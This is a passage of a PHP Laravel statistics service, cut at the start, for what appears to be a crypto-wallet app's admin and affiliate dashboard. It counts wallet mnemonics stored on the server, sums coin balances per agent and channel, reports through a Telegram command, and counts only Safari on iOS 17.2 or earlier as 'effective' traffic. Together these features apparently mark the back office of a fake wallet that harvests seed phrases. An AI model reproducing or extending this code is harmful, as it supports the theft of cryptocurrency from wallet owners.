, * by_ios_version: list, * by_device_ios_version: list, * range: string, * from: string, * to: string * } */ public function collect(array $filters = []): array { [$from, $to] = $this->resolveBounds($filters); $rangeLabel = $from->toDateString().' ~ '.$to->toDateString(); $channelId = trim((string) ($filters['channel_id'] ?? '')); $channelExact = (bool) ($filters['channel_exact'] ?? false); $agent = $filters['agent'] ?? null; $agentUserId = array_key_exists('agent_user_id', $filters) ? $filters['agent_user_id'] : null; $agentUserId = $agentUserId === null ? null : (int) $agentUserId; $base = Device::query(); AgentScope::applyDeviceChannelScope($base, $agent); if ($agent === null) { AgentScope::applyAgentUserFilter($base, $agentUserId); } if ($channelId !== '') { if ($channelExact) { $base->where('channel_id', $channelId); } else { $base->where('channel_id', 'like', '%'.$channelId.'%'); } } // Period cohort: devices installed (created) in the selected range. $createdInRange = (clone $base)->whereBetween('created_at', [$from, $to]); $total = (clone $createdInRange)->count(); $walletCount = (clone $createdInRange)->where('has_wallet', Device::WALLET_YES)->count(); $newCount = $total; $activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count(); $mnemonicCount = $this->countDeviceChildren( WalletMnemonic::query(), 'wallet_mnemonics', $agent, $agentUserId, $channelId, $channelExact, $from, $to, ); $addressCount = $this->countDeviceChildren( WalletAddress::query(), 'wallet_addresses', $agent, $agentUserId, $channelId, $channelExact, $from, $to, ); $balances = $this->sumBalances($agent, $agentUserId, $channelId, $channelExact, $from, $to); $visits = PageVisit::query(); AgentScope::applyChannelIdScope($visits, $agent); if ($agent === null) { AgentScope::applyChannelIdAgentUserFilter($visits, $agentUserId); } if ($channelId !== '') { if ($channelExact) { $visits->where('channel_id', $channelId); } else { $visits->where('channel_id', 'like', '%'.$channelId.'%'); } } $visits->whereBetween('created_at', [$from, $to]); $pv = (clone $visits)->count(); $uv = (int) (clone $visits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate'); $effectiveVisits = (clone $visits)->tap(fn (Builder $q) => $this->applyEffectiveFilter($q)); $effectivePv = (clone $effectiveVisits)->count(); $effectiveUv = (int) (clone $effectiveVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate'); $iosVisits = (clone $visits)->where('os', 'iOS'); $iosUv = (int) (clone $iosVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate'); $otherVisits = (clone $visits)->where(function (Builder $q) { $q->whereNull('os')->orWhere('os', '!=', 'iOS'); }); $otherUv = (int) (clone $otherVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate'); $byOs = [ $this->visitRow('iOS', $iosUv, $uv), $this->visitRow('其他', $otherUv, $uv), ]; $versionGroups = (clone $iosVisits) ->select('os_version') ->selectRaw('COUNT(DISTINCT client_uid) as uv') ->groupBy('os_version') ->orderByDesc('uv') ->limit(20) ->get(); // Denominator = sum of per-version UVs (not global DISTINCT). // Same visitor may appear under multiple versions; using DISTINCT total would // make every overlapping bucket show ~100%. $versionUvSum = (int) $versionGroups->sum('uv'); $byIosVersion = $versionGroups ->map(fn ($r) => $this->visitRow( ((string) ($r->os_version ?? '')) !== '' ? (string) $r->os_version : 'Unknown', (int) $r->uv, $versionUvSum > 0 ? $versionUvSum : $iosUv, )) ->values() ->all(); $byDeviceIosVersion = (clone $createdInRange) ->select('ios_version') ->selectRaw('COUNT(*) as cnt') ->groupBy('ios_version') ->orderByDesc('cnt') ->limit(20) ->get() ->map(function ($r) use ($total) { $label = trim((string) ($r->ios_version ?? '')); return $this->deviceRow( $label !== '' ? $label : '未知', (int) $r->cnt, $total, ); }) ->values() ->all(); return [ 'total' => $total, 'wallet_count' => $walletCount, 'new_count' => $newCount, 'active_count' => $activeCount, 'pv' => $pv, 'uv' => $uv, 'effective_pv' => $effectivePv, 'effective_uv' => $effectiveUv, 'mnemonic_count' => $mnemonicCount, 'address_count' => $addressCount, 'balances' => $balances, 'by_os' => $byOs, 'by_ios_version' => $byIosVersion, 'by_device_ios_version' => $byDeviceIosVersion, 'range' => $rangeLabel, 'from' => $from->toDateTimeString(), 'to' => $to->toDateTimeString(), 'date_from' => $from->toDateString(), 'date_to' => $to->toDateString(), ]; } /** * @param array{range?: string, date_from?: string, date_to?: string, date_range?: string} $filters * @return array{0: Carbon, 1: Carbon} */ public function resolveBounds(array $filters): array { $fromRaw = trim((string) ($filters['date_from'] ?? '')); $toRaw = trim((string) ($filters['date_to'] ?? '')); $rangeField = trim((string) ($filters['date_range'] ?? '')); if ($fromRaw === '' && $toRaw === '' && $rangeField !== '') { if (preg_match('/^(\d{4}-\d{2}-\d{2})\s*~\s*(\d{4}-\d{2}-\d{2})$/', $rangeField, $m) || preg_match('/^(\d{4}-\d{2}-\d{2})\s*-\s*(\d{4}-\d{2}-\d{2})$/', $rangeField, $m)) { $fromRaw = $m[1]; $toRaw = $m[2]; } } if ($fromRaw !== '' && $toRaw !== '') { try { $from = Carbon::parse($fromRaw)->startOfDay(); $to = Carbon::parse($toRaw)->endOfDay(); } catch (\Throwable) { return $this->rangeBounds((string) ($filters['range'] ?? '30d')); } if ($from->gt($to)) { [$from, $to] = [$to->copy()->startOfDay(), $from->copy()->endOfDay()]; } return [$from, $to]; } return $this->rangeBounds((string) ($filters['range'] ?? '30d')); } /** * Join a device-child table and apply the same channel / agent scope as device totals. */ private function scopedDeviceChildren( Builder $query, string $table, ?User $agent, ?int $agentUserId, string $channelId, bool $channelExact, ): Builder { $query->join('devices', 'devices.id', '=', $table.'.device_id'); AgentScope::applyDeviceChannelScope($query, $agent); if ($agent === null) { AgentScope::applyAgentUserFilter($query, $agentUserId); } if ($channelId !== '') { if ($channelExact) { $query->where('devices.channel_id', $channelId); } else { $query->where('devices.channel_id', 'like', '%'.$channelId.'%'); } } return $query; } private function countDeviceChildren( Builder $query, string $table, ?User $agent, ?int $agentUserId, string $channelId, bool $channelExact, Carbon $from, Carbon $to, ): int { return $this->scopedDeviceChildren($query, $table, $agent, $agentUserId, $channelId, $channelExact) ->whereBetween($table.'.created_at', [$from, $to]) ->count($table.'.id'); } /** * Sum coin columns for addresses created in the selected range. * * @return array{usdt: string, trx: string, eth: string, btc: string, bnb: string} */ private function sumBalances( ?User $agent, ?int $agentUserId, string $channelId, bool $channelExact, Carbon $from, Carbon $to, ): array { $q = $this->scopedDeviceChildren( WalletAddress::query(), 'wallet_addresses', $agent, $agentUserId, $channelId, $channelExact, )->whereBetween('wallet_addresses.created_at', [$from, $to]); $selects = []; foreach (WalletAddress::COIN_COLUMNS as $col) { $selects[] = 'COALESCE(SUM(wallet_addresses.'.$col.'), 0) as '.$col; } $row = $q->selectRaw(implode(', ', $selects))->first(); $out = []; foreach (WalletAddress::COIN_COLUMNS as $col) { $raw = $row?->{$col} ?? 0; $formatted = WalletAddress::formatAmount($col, $raw); $out[$col] = $formatted === '' ? '0' : $formatted; } /** @var array{usdt: string, trx: string, eth: string, btc: string, bnb: string} $out */ return $out; } /** * Map telegram /data day token to dashboard range key. * Empty / omitted → today. */ public function rangeFromDays(?string $days): string { $days = $days === null ? '' : trim($days); if ($days === '' || $days === '1') { return 'today'; } return match ($days) { '7' => '7d', '30' => '30d', default => throw new \InvalidArgumentException('Days must be 1, 7, or 30'), }; } /** * @return array{0: Carbon, 1: Carbon} */ public function rangeBounds(string $range): array { $now = Carbon::now(); return match ($range) { 'today', '1', '1d' => [$now->copy()->startOfDay(), $now->copy()->endOfDay()], 'yesterday' => [ $now->copy()->subDay()->startOfDay(), $now->copy()->subDay()->endOfDay(), ], '7d', '7' => [$now->copy()->subDays(6)->startOfDay(), $now->copy()->endOfDay()], default => [$now->copy()->subDays(29)->startOfDay(), $now->copy()->endOfDay()], }; } /** * Effective traffic: Safari on iOS ≤ 17.2 (includes 17.2.x patch builds; excludes 17.3+). */ private function applyEffectiveFilter(Builder $query): void { $query->where('os', 'iOS') ->where('browser', 'Safari') ->whereNotNull('os_version') ->where('os_version', '!=', ''); $driver = DB::connection()->getDriverName(); if ($driver === 'sqlite') { // major < 17 OR (major = 17 AND minor ≤ 2) $query->whereRaw( "(CAST(os_version AS INTEGER) < 17) OR ( CAST(os_version AS INTEGER) = 17 AND CAST( CASE WHEN INSTR(os_version, '.') > 0 THEN SUBSTR(os_version, INSTR(os_version, '.') + 1) ELSE '0' END AS INTEGER ) <= 2 )" ); } else { $query->whereRaw( "(CAST(SUBSTRING_INDEX(os_version, '.', 1) AS UNSIGNED) < 17) OR ( CAST(SUBSTRING_INDEX(os_version, '.', 1) AS UNSIGNED) = 17 AND CAST( SUBSTRING_INDEX(SUBSTRING_INDEX(CONCAT(os_version, '.0'), '.', 2), '.', -1) AS UNSIGNED ) <= 2 )" ); } } /** * Visit breakdown row. pct = uv / $totalUv (UV share). * * @return array{label: string, uv: int, pct: float} */ private function visitRow(string $label, int $uv, int $totalUv): array { $pct = $totalUv > 0 ? round(($uv / $totalUv) * 100, 1) : 0.0; return [ 'label' => $label, 'uv' => $uv, 'pct' => $pct, ]; } /** * @return array{label: string, count: int, pct: float} */ private function deviceRow(string $label, int $count, int $total): array { $pct = $total > 0 ? round(($count / $total) * 100, 1) : 0.0; return [ 'label' => $label, 'count' => $count, 'pct' => $pct, ]; } }